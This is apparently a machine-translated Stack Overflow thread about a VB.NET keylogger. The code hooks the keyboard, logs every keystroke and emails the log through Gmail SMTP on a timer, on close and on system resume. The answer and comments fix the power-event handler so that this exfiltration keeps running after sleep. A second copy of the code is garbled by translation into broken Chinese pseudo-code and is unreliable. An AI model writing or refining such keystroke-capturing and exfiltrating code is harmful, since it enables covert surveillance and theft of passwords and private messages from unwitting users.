Vb.net 尝试在powermodechanged事件上添加到字符串并发送电子邮件

Vb.net 尝试在powermodechanged事件上添加到字符串并发送电子邮件,vb.net,email,event-handling,keylogger,Vb.net,Email,Event Handling,Keylogger,我有一个键盘记录程序用来监控我的网络,以确保没有人干扰我的信息。我一直在尝试在一个功能中编程,该功能将添加到正在进行的日志“系统暂停或恢复”,并通过powermode.suspend或powermode.resume上的电子邮件发送日志。我已经能够通过电子邮件发送日志,只是因为某些原因不能在powermodes事件中发送日志。实际上,我的程序似乎没有执行powermodes部分中的任何命令,它甚至不会在日志中添加“系统睡眠”或“系统唤醒”行。这是我到目前为止的代码。有人能帮我指出一些方向或解释一

我有一个键盘记录程序用来监控我的网络,以确保没有人干扰我的信息。我一直在尝试在一个功能中编程,该功能将添加到正在进行的日志“系统暂停或恢复”,并通过powermode.suspend或powermode.resume上的电子邮件发送日志。我已经能够通过电子邮件发送日志,只是因为某些原因不能在powermodes事件中发送日志。实际上,我的程序似乎没有执行powermodes部分中的任何命令,它甚至不会在日志中添加“系统睡眠”或“系统唤醒”行。这是我到目前为止的代码。有人能帮我指出一些方向或解释一下发生了什么事或我如何解决它吗

我已经尝试将发送电子邮件命令放在系统挂起部分,但它给我一个错误,说一旦系统恢复,它就无法发送。我有电子邮件日志发送任何其他时间罚款

Imports System.Net.Mail
Imports Microsoft.Win32

Public Class Form1
Dim WithEvents K As New Keyboard
Dim Append As String
Public Shared log As String

Public Sub Handler()
    AddHandler SystemEvents.PowerModeChanged, _
        AddressOf SystemEvents_PowerModeChanged
End Sub

Private Sub SystemEvents_PowerModeChanged(ByVal sender As Object, ByVal e As PowerModeChangedEventArgs)
    Select Case e.Mode
        Case PowerModes.Resume
            log = log + " <System Wake-Up> "
            SendMail()
            K.DiposeHook()
            K.CreateHook()
            log = ""
        Case PowerModes.Suspend
            log = log + " <System Sleep> "
    End Select
End Sub

Sub SendMail()
    Dim Mail As New MailMessage
    Mail.Subject = "Keylog"
    Mail.To.Add("***********")
    Mail.From = New MailAddress("***********")
    Mail.Body = log
    Dim SMTP As New SmtpClient("smpt.gmail.com")
    SMTP.Host = "smtp.gmail.com"
    SMTP.EnableSsl = True
    SMTP.Credentials = New System.Net.NetworkCredential("*********", "***********")
    SMTP.Port = "587"
    SMTP.Send(Mail)
End Sub

Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
    SendMail()
    K.DiposeHook()
End Sub

Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
    K.CreateHook()
End Sub

Private Sub K_Down(ByVal Key As String) Handles K.Down
    Append &= Key
    log &= Key
End Sub

Private Sub tmremail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmremail.Tick
    tmremail.Stop()

    SendMail()

    log = ""
    tmremail.Enabled = True
End Sub
End Class
导入System.Net.Mail
导入Microsoft.Win32
公开课表格1
将事件K作为新键盘调暗
Dim追加为字符串
公共共享日志作为字符串
公共子处理程序()
AddHandler SystemEvents.PowerModeChanged_
SystemEvents\u PowerMode的地址已更改
端接头
私有子系统事件\u PowerModeChanged(ByVal发送方作为对象,ByVal e作为PowerModeChangedEventArgs)
选择案例e.模式
继续
日志=日志+“”
SendMail()
K.DiposeHook()
K.CreateHook()
log=“”
Case PowerModes.Suspend
日志=日志+“”
结束选择
端接头
子SendMail()
将邮件设置为新邮件消息
Mail.Subject=“Keylog”
Mail.To.Add(“*************”)
Mail.From=新邮件地址(“**********”)
Mail.Body=log
Dim SMTP作为新的SmtpClient(“smpt.gmail.com”)
SMTP.Host=“SMTP.gmail.com”
SMTP.EnableSsl=True
SMTP.Credentials=New System.Net.NetworkCredential(“**********”,“**********”)
SMTP.Port=“587”
SMTP.Send(邮件)
端接头
私有子表单1_FormClosing(ByVal sender作为对象,ByVal e作为System.Windows.Forms.FormClosingEventArgs)处理Me.FormClosing
SendMail()
K.DiposeHook()
端接头
私有子表单1_Load(ByVal sender作为对象,ByVal e作为System.EventArgs)处理Me.Load
K.CreateHook()
端接头
私有子K_Down(ByVal键作为字符串)处理K.Down
追加&=键
日志&=密钥
端接头
私有子tmremail_Tick(ByVal sender作为System.Object,ByVal e作为System.EventArgs)处理tmremail.Tick
tmremail.Stop()
SendMail()
log=“”
tmremail.Enabled=True
端接头
末级
编辑*

Public子处理程序()
AddHandler SystemEvents.PowerModeChanged_
SystemEvents\u PowerMode的地址已更改
端接头
公共分新()
Me.InitializeComponent()的缩写

Me.Handler()“在代码中没有调用
Handler()
,因此没有添加事件。在构造函数中调用该方法,如下所示:

Public Sub New()
    Me.InitializeComponent()
    Me.Handler() '<- Invoke
End Sub
Public Sub New()
Me.InitializeComponent()的缩写

Me.Handler()'在哪里/何时调用
Handler()
?如何调用它?我想我只需要在一个公共子类中声明它?除非调用该方法,否则
Handler()
中的代码不会运行,因此不会添加任何事件。将
Me.Handler()
添加到您的构造函数中。我很久以前就看过这段代码了。。。建立一个键盘记录器,嗯p我可以问一下你们为什么要马上处理和安装键盘挂钩吗?另外,你还应该学习如何使用线程。@some昵称我遇到了这样一个问题:在计算机处于开机状态并且刚刚进入和退出睡眠状态之后,程序似乎停止了对按键的录制(因此,当我知道在这段时间内有活动时,我收到了一封空白电子邮件)。这就是为什么我试图在计算机唤醒后重新处理和安装。这是一个很好的理由吗?还是有更好的方法来解决这个问题?谢谢,我正在尝试你的代码。我马上给你回电话。不管是睡觉还是起床,我都不做。等等,我说得太快了。它确实起作用了,只是延迟了几分钟。也许是因为系统需要时间才能完全唤醒并接入互联网?好吧,那么我们都说得太早了(见我在上面的评论…:p)
Public Sub New()
    Me.InitializeComponent()
    Me.Handler() '<- Invoke
End Sub